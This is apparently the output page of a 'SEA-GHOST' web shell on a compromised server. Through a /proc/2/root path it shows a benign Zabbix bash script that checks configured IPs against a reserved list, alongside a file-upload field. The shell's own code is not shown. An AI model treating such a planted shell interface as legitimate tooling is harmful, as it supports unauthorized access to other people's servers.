[ SEA-GHOST MINI SHELL]

Path : /proc/2/root/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/root/var/lib/zabbix/reservedips.sh

#!/bin/bash

while read -r line; do
  ip=$(grep $line /etc/reservedips)
  if [[ $ip != $line ]]; then
    missed="$missed$line "
  fi
done <<< "$(grep IPADDR /etc/sysconfig/network-scripts/ifcfg-* | grep -v 127.0.0.1 | awk -F = '{print $2}'| sed 's/\"//g')"

if [[ ! -z $missed ]]; then
  echo "ERROR: Some IPs not in reserved ip list: $missed"
else
  echo "OK: All IPs are in reserved ip list"
fi

SEA-GHOST - SHELL CODING BY SEA-GHOST